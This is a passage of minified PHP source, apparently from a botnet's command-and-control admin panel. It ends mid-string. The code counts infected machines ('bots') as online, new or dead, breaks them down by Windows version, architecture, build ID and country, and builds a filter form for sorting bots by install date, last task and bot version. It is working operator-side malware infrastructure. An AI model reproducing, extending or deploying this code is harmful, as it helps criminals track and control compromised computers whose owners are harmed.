$new_bots=0; $dead_bots=0;if($blacklist){$query="SELECT ldate,idate FROM bots RIGHT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NOT NULL";$caption="Blacklist statistic";}else{$query="SELECT ldate,idate FROM blacklist RIGHT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NULL";$caption="General statistic";}$qres=mysql_query($query) or die (mysql_error());while($row=mysql_fetch_row($qres)){$total_bots++;if($timestamp-$row[0]<=$online_limit){$online_bots++;}if($timestamp-$row[0]<=3600){$onl_h_bots++;}if($timestamp-$row[0]<=86400){$onl_d_bots++;}if($timestamp-$row[0]<=604800){$onl_w_bots++;}if($timestamp-$row[1]<=86400){$new_bots++;}if($timestamp-$row[0]>$dead_limit){$dead_bots++;}}$dyn="<tr><td class=\"me\"><table width=100% cellspacing=0>";$dyn.="<tr><td><font class=\"mt\">Total:</font></td><td align=\"right\"><font class=\"mt\">$total_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Online:</font></td><td align=\"right\"><font class=\"mt\">$online_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Online per hour:</font></td><td align=\"right\"><font class=\"mt\">$onl_h_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Online per day:</font></td><td align=\"right\"><font class=\"mt\">$onl_d_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Online per week:</font></td><td align=\"right\"><font class=\"mt\">$onl_w_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">New bots at last day:</font></td><td align=\"right\"><font class=\"mt\">$new_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Dead bots:</font></td><td align=\"right\"><font class=\"mt\">$dead_bots</font></td></tr>";$dyn.="</table></td></tr>";$left_menu.=str_replace("<php:caption>",$caption,MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);if($total_bots!=0){$dyn="<tr><td class=\"me\"><table width=100% cellspacing=0>";if($blacklist){$query="SELECT os_version,COUNT(*) FROM blacklist LEFT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NOT NULL GROUP BY os_version ORDER BY os_version DESC";}else{$query="SELECT os_version,COUNT(*) FROM bots LEFT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NULL GROUP BY os_version ORDER BY os_version DESC";}$qres=mysql_query($query) or die(mysql_error());while($row=mysql_fetch_row($qres)){switch($row[0]){case 0x0500: $version="Win2000"; break;case 0x0501: $version="WinXP"; break;case 0x0502: $version="Win2003"; break;case 0x0600: $version="WinVista"; break;case 0x0601: $version="Win7"; break;default: $version="Unknown";}if($row[1]){$dyn.="<tr><td><font class=\"mt\">$version</font></td><td align=\"right\"><font class=\"mt\">".round(100/$total_bots*$row[1],1)."% ($row[1])</font></td></tr>";}}$dyn.="</table></td></tr>";$left_menu.=str_replace("<php:caption>","Statistics by system",MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);$dyn="<tr><td class=\"me\"><table width=100% cellspacing=0>";if($blacklist){$query="SELECT x64,COUNT(*) FROM blacklist LEFT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NOT NULL GROUP BY x64 ORDER BY x64";}else{$query="SELECT x64,COUNT(*) FROM bots LEFT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NULL GROUP BY x64 ORDER BY x64";}$qres=mysql_query($query) or die(mysql_error());while($row=mysql_fetch_row($qres)){if($row[0]==0){$dyn.="<tr><td><font class=\"mt\">x86</font></td>";}else{$dyn.="<tr><td><font class=\"mt\">x64</font></td>";}$dyn.="<td align=\"right\"><font class=\"mt\">".round(100/$total_bots*$row[1],1)."% ($row[1])</font></td></tr>";}$dyn.="</table></td></tr>";$left_menu.=str_replace("<php:caption>","x86/x64 statistic",MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);$dyn="<tr><td class=\"me\"><table width=100% cellspacing=0>";if($blacklist){$query="SELECT bid,COUNT(*) FROM blacklist LEFT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NOT NULL GROUP BY bid ORDER BY bid DESC";}else{$query="SELECT bid,COUNT(*) FROM bots LEFT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NULL GROUP BY bid ORDER BY bid DESC";}$qres=mysql_query($query) or die(mysql_error());while($row=mysql_fetch_row($qres)){$dyn.="<tr><td><font class=\"mt\">".sprintf("%08X",$row[0])."</font></td>";$dyn.="<td align=\"right\"><font class=\"mt\">".round(100/$total_bots*$row[1],1)."% ($row[1])</font></td></tr>";}$dyn.="</table></td></tr>";$left_menu.=str_replace("<php:caption>","Statistics by Build ID",MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);$dyn="<tr><td class=\"me\"><div id=\"cstat\" style=\"display:none;\"><table width=100% cellspacing=0>";if($blacklist){$query="SELECT cnum,COUNT(*) FROM blacklist LEFT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NOT NULL GROUP BY cnum ORDER BY cnum";}else{$query="SELECT cnum,COUNT(*) FROM bots LEFT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NULL GROUP BY cnum ORDER BY cnum";}$qres=mysql_query($query) or die(mysql_error());while($row=mysql_fetch_row($qres)){if($row[1]){$dyn.="<tr><td><font style=\"font-family:tahoma;font-size:9px;\">".$cname[$row[0]]."</font></td>";$dyn.="<td align=\"right\"><font style=\"font-family:tahoma;font-size:9px;\">".round(100/$total_bots*$row[1],1)."% ($row[1])</font></td></tr>";}}$dyn.="</table></div></td></tr>";$left_menu.="<script>function showCStat(){if(document.getElementById('cstat').style.display=='inline'){document.getElementById('cstat').style.display='none';}else{document.getElementById('cstat').style.display='inline';}return true;}</script><table width=100% cellspacing=0 style=\"margin-top:10px;\"><tr><td style=\"border:1px solid black;background-color:grey;\"><font class=\"mht\"><img src=\"data:image/gif;base64,R0lGODdhDgAOAIAAAAAAAP///ywAAAAADgAOAAACIISPGcu95mKAjTL7gMNTV3+BWYiEH8alotSxn0smMlAAADs=\" onclick=\"showCStat();\" style=\"padding-left:2px;padding-right:2px;padding-top:2px;\">Statistics by country</font></td></tr>$dyn</table>";$limit=isset($_POST['limit'])?(float)$_POST['limit']:30;$nat=$_POST["nat"]=="on"?"checked":"";$status=$_POST["status"]=="on"?"checked":"";$s1=""; $s2=""; $s3=""; $s4=""; $s5=""; $s6=""; $s7="";switch($_POST["orderby"]){case 1: $orderby="ldate DESC"; $s1="selected"; break;case 2: $orderby="idate DESC"; $s2="selected"; break;case 3: $orderby="cnum"; $s3="selected"; break;case 4: $orderby="ltask DESC"; $s4="selected"; break;case 5: $orderby="bot_version DESC"; $s5="selected"; break;case 6: $orderby="os_version DESC"; $s6="selected"; break;case 7: $orderby="bid DESC"; $s7="selected"; break;default: $orderby="ldate DESC"; $s1="selected"; break;}$where="";if($_POST["nat"]=="on"){$where.=" AND nat=0";}if($_POST["status"]=="on"){$where.=" AND $timestamp-ldate<=$online_limit";}$search_botid=$_POST["search_botid"];$search_botip=$_POST["search_botip"];if(!empty($search_botip)){$limit=1;if($search_botip_=(float)ip2long($_POST["search_botip"])){$where.=" AND bots.ip=$search_botip_";}}if(!empty($search_botid)){$limit=1;if($search_botid_=(float)hexdec($_POST["search_botid"])){$where.=" AND bots.id=$search_botid_";}}$content.="<table cellspacing=0 width=100%><tr><td width=280>";$dyn="<FORM method=\"post\" action=\"?act=bots&blacklist=$blacklist\">";$dyn.="<table cellspacing=0 width=100% height=115px>";$dyn.="<tr><td width=80px align=\"right\" style=\"padding-right:10px\"><font>Status:</font></td>";$dyn.="<td><input type=\"checkbox\" name=\"status\" $status/><font>Online</font></td></tr>";$dyn.="<tr><td align=\"right\" style=\"padding-right:10px\"><font>NAT:</font></td>";$dyn.="<td><input type=\"checkbox\" name=\"nat\" $nat/><font>Only real IP's</font></td></tr>";$dyn.="<tr><td align=\"right\" style=\"padding-right:10px\"><font>Records limit:</font></td>";$dyn.="<td><input type=\"text\" name=\"limit\" value=\"$limit\" style=\"width:140px;\"></td></tr>";$dyn.="<tr><td align=\"right\" style=\"padding-right:10px\"><font>Sort by:</font></td>";$dyn.="<td><select name=\"orderby\" style=\"width:140px;\">";$dyn.="<option value=\"1\" $s1>Last response</option>";$dyn.="<option value=\"2\" $s2>Install date</option>";$dyn.="<option value=\"3\" $s3>Country</option>";$dyn.="<option value=\"4\" $s4>Last task</option>";$dyn.="<option value=\"5\" $s5>Bot version</option>";$dyn.="<option value=\"6\" $s6>OS version</option>";$dyn.="<option value=\"7\" $s7>Build ID</option></select></td></tr>";$dyn.="<tr><td></td><td><input type=\"submit\" class=\"i_submit\" value=\"Apply\"></td></tr></table></FORM>";$content.=str_replace("<php:caption>","Filter",WINDOW);$content=str_replace("<php:width>",270,$content);$content=str_replace("<php:content>",$dyn,$content);$content.="</td><td valign=\"top\">";$dyn="<FORM method=\"post\" action=\"?act=bots&blacklist=$blacklist\">";$dyn.="<table cellspacing=0 width=100% height=115px>";$dyn.="<